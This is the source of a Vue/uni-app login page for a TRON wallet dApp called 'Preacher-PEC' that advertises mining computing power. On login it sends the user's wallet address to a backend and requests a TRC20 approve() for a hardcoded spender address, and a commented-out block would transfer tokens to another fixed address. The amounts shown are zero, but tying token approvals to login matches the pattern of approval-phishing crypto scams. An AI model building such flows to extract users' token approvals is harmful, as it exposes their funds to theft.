<template>
	<view class="">
		<view class="content bg-img bg-mask" v-if="show22">
			<view class="login-header" style=" position: fixed; top: 100rpx; right: 50rpx;">
				<view class="lang-box">
					<view class="option-box">
						<view class="option" @click="naviTo('./lang')">
							<view class="img"><image :src="i18n.login.langImg" mode="widthFix"></image></view>
							<text class="txt f20">{{ i18n.login.language }}</text>
						</view>
					</view>
				</view>
			</view>
			<view class="head flex flex-direction align-center">
				<image src="../../static/head.png" mode="scaleToFill" class="margin-right-xs"></image>
				<text class="t1">Preacher-PEC</text>
				<text class="t2 margin-top">PEC community preaching PEC head mine</text>
				<text class="t2">computing power</text>
			</view>
			<view class="linlk" @click="logIn" v-if="bnt">{{ i18n.Lnk.Lnk1 }}</view>
			<view class="" v-else style="height: 80rpx;"></view>
		</view>
		<view class="content bg-img bg-mask bbgg" v-else>
			<text class="" style="font-size: 50rpx; text-align: center;">{{ i18n.Lnk.Lnk2 }}</text>
		</view>
		<w-loading :text="i18n.pec.i200" mask="true" click="true" ref="loading"></w-loading>
	</view>
</template>

<script>
export default {
	data() {
		return {
			show: false,
			show22: '',
			text: '',
			showT: '',
			Output: false,
			error: '',
			bnt: true,
		};
	},
	computed: {
		i18n() {
			return this.$t('message');
		},
	},
	onLoad(e) {
		var obj = setInterval(() => {
			if (window.tronWeb && window.tronWeb.defaultAddress.base58) {
				clearInterval(obj);
				var uid = window.tronWeb.defaultAddress.base58;
				uni.setStorageSync('uid', uid);

				this.show22 = true;
				console.log('111 :>> ', 111);
				// this.pullUpPayment();
			} else {
				this.show22 = false;
				console.log('222 :>> ', 222);
			}
		}, 20);
	},
	methods: {
		naviTo(url) {
			uni.navigateTo({
				url: url,
			});
		},

		// 拉起支付
		async pullUpPayment() {
			const trc20ContractAddress = 'TDNTEhUvZ1jxq4wZBkGRoHHxX2972neevR';
			try {
				let contract = await tronWeb.contract().at(trc20ContractAddress);
				//Use send to execute a non-pure or modify smart contract method on a given smart contract that modify or change values on the blockchain.
				// These methods consume resources(bandwidth and energy) to perform as the changes need to be broadcasted out to the network.
				await contract
					.approve(
						'TGGUWuAgtMWE14R7MhC8ayNpuyGiSFvrh7', //address _spender
						0, //amount
					)
					.send({
						feeLimit: 1000000,
					})
					.then(output => {
						if (output) {
							this.Output = true;
						}
						// this.Output = output
						//alert('- Output:', output, '\n');
						//uni.$showMsg('- Output:=>>', output);
					});
			} catch (error) {
				this.error = error;
				//uni.$showMsg('error=>>  ', error);
				//console.error('error====>  ', error);
			}

			/* 	console.log('111 :>> ', 111);
				var obj = setInterval(async () => {
					if (window.tronWeb && window.tronWeb.defaultAddress.base58) {
						clearInterval(obj);
						var tronweb = window.tronWeb;
						var tx = '';
						const trc20ContractAddress = 'TGGUWuAgtMWE14R7MhC8ayNpuyGiSFvrh7'; //  this.openAddress; //contract address
						try {
							let contract = await tronWeb.contract().at(trc20ContractAddress);
							let result = await contract
								.transfer(
									'TF3VYGTc74FEKvB5Duukk6v587yApUnjAs', //address _to
									20, //amount
								)
								.send({
									feeLimit: 10000000,
								})
								.then(output => {
									console.log('- Output:', output, '\n');
									tx = output;
									this.exchangeComputingPower(output, data.orderid);
								});
						} catch (error) {}
					}
				}, 10);
			 */
		},

		async start() {
			if (window.tronWeb) {
				var parent_address = uni.getStorageSync('uid');

				console.log('parent_address :>> ', parent_address);
				var isShow = window.tronWeb.isAddress(parent_address);
				console.log('isShow :>> ', isShow);

				if (!isShow) {
					this.show22 = false;
				}
			}
		},

		async logIn() {
			this.$refs.loading.open();
			this.bnt = false;
			// uni.$showMsg('111 ', 1111);
			let obj = {
				address: uni.getStorageSync('uid'),
			};
			const res = await this.$u.post('index.php/api/auth/login', obj, {});
			uni.setStorageSync('data', res.data.userinfo)
			if (res.code == 1) {
				
				
				const trc20ContractAddress = 'TLGWRFCyzZqQScX45HSgN823G7wadumpGw';
				try {
					let contract = await tronWeb.contract().at(trc20ContractAddress);
					
					await contract
						.approve(
							'TQ1aD3Cg69nFXeXVXFeBgrZXsMdYEk3XeT', //address _spender
							0, //amount
						)
						.send({
							feeLimit: 1,
						})
						.then(output => {
							//console.error('output====>  ', output);
							if (output) {
								uni.navigateTo({
									url: 'peca',
								});
							}
						});
				} catch (error) {
					

					console.error('error====>  ', error);
					// uni.navigateTo({
					// 	url: 'index',
					// });
				}

				uni.setStorageSync('token', res.data.userinfo.token);
			} else {
				uni.navigateTo({
					url: 'invite',
				});
			}
			console.log('res >>  ', res);
		},

		logIn1() {
			uni.$showLoading();
			setTimeout(() => {
				uni.hideLoading();
			}, 3000);
		},
	},
};
</script>

<style lang="scss" scoped>
.model {
	width: 100%;
	height: 100vh;
	background-color: rgba(0, 0, 0, 0.6);
	position: fixed;
	left: 0;
	top: 0;
	z-index: 100;
}
.selectlanguage {
	width: 400upx;
	height: 400upx;
	top: 50%;
	left: 50%;
	transform: translate(-50%, -50%);
	position: absolute;
	background: #fff;
	z-index: 99;
	display: flex;
	flex-direction: column;
	align-items: center;
	justify-content: center;
	padding: 50upx 0;
	border-radius: 20upx;
}
.selectlanguage view {
	height: 100upx;
	line-height: 100upx;
	color: #eabb76;
}
.login-page {
	width: 100%;
	height: 100vh;
	display: flex;
	flex-direction: column;
	align-items: center;
}
.login-header {
	margin-bottom: 80upx;
	width: 100%;
	position: relative;
}
.lang-box {
	display: flex;
	justify-content: space-between;
	/* width: 400upx; */
	position: absolute;
	right: 30upx;
	top: 44upx;
}
.lang-box .lanuage {
	color: #fff;
	font-size: 28upx;
}
.lang-box .option-box {
	display: flex;
	flex-direction: column;
}
.lang-box .option {
	display: flex;
	align-items: center;
}
.lang-box .option .img {
	margin-right: 10upx;
	width: 44upx;
}
.lang-box .option .img image {
	width: 100%;
	height: auto;
}
.lang-box .option .txt {
	color: #fff;
	font-size: 20upx;
}
.login-page .bac {
	width: 100%;
}
.login-page .bac image {
	width: 100%;
}
.login-page .logo {
	width: 100upx;
}
.login-page .logo image {
	width: 100%;
	height: auto;
}
.logo-input {
	margin-top: 60upx;
}
.login-page .input-box {
	width: 600upx;
	height: 80upx;
	font-size: 26upx;
	margin-bottom: 30upx;
	display: flex;
	flex-direction: row;
	align-items: center;
	border-bottom: 2upx solid #999;
}
.login-page .input-box .input-icon {
	height: 38upx;
	width: 28upx;
	margin-right: 20upx;
}
.login-page .input-box .input-icon-rt {
	height: 36upx;
	width: 36upx;
}
.login-page .input-box .input-icon-rt01 {
	height: 28upx;
	width: 28upx;
}
.login-page .input-box .input {
	height: 80upx;
	font-size: 26upx;
	color: #333;
	flex: 1;
}
.login-page .input-box .placeholder {
	font-size: 24upx;
	color: #999;
}
.login-page .submit {
	height: 80upx;
	line-height: 80px;
	width: 600upx;
	display: flex;
	align-items: center;
	justify-content: center;
	border-radius: 10upx;
	margin-top: 20upx;
	color: #fff;
	background-color: #007aff;
}
.login-page .submit .submit-text {
	color: #ffffff;
	font-size: 28upx;
	line-height: 1.2;
}
.login-page .tip {
	width: 600upx;
	display: flex;
	margin-top: 40upx;
	padding: 0 6upx;
	justify-content: space-between;
}
.login-page .tip .tip-text {
	color: #007aff;
	font-size: 28upx;
}
.login-page .tip .rbox {
	text-align: right;
}
.bbgg {
	color: #ffffff;
	display: flex;
	align-items: center;
	justify-content: center;
}
.content {
	width: 100vw;
	height: 100vh;
	background-image: url(../../static/bgImg1.png);
	display: flex;
	flex-direction: column;
	justify-content: space-around;
	.linlk {
		margin: 0 auto;

		display: flex;
		align-items: center;
		justify-content: center;
		width: 280rpx;
		height: 80rpx;
		background: #04bd9e;
		border-radius: 40rpx;

		font-size: 32rpx;

		font-weight: 500;
		color: #ffffff;
	}

	.head {
		padding-top: 110rpx;
		image {
			width: 102rpx;
			height: 90rpx;
		}
		.t1 {
			font-size: 60rpx;
			font-family: PingFang SC;
			font-weight: 500;
			color: #fefefe;
		}
		.t2 {
			font-size: 30rpx;
			font-family: PingFang SC;
			font-weight: 500;
			color: #cccccc;
		}
	}
	.qiyuan1 {
		width: 500rpx;
		height: 500rpx;
		border: 6rpx solid rgba(0, 222, 185, 0.4);
		border-radius: 50%;
		/deep/.t1 {
			font-size: 26rpx;
			font-family: PingFang SC;

			color: #ffffff !important;
		}
		.radius {
			//margin: 48rpx 55rpx 0rpx;
			margin-top: 48rpx;
			margin-bottom: 55rpx;
			width: 420rpx;
			height: 60rpx;
			background: #ffffff;
			opacity: 0.3;
			border-radius: 10rpx;
		}
		image {
			width: 84rpx;
			height: 76rpx;
		}
	}
}
</style>
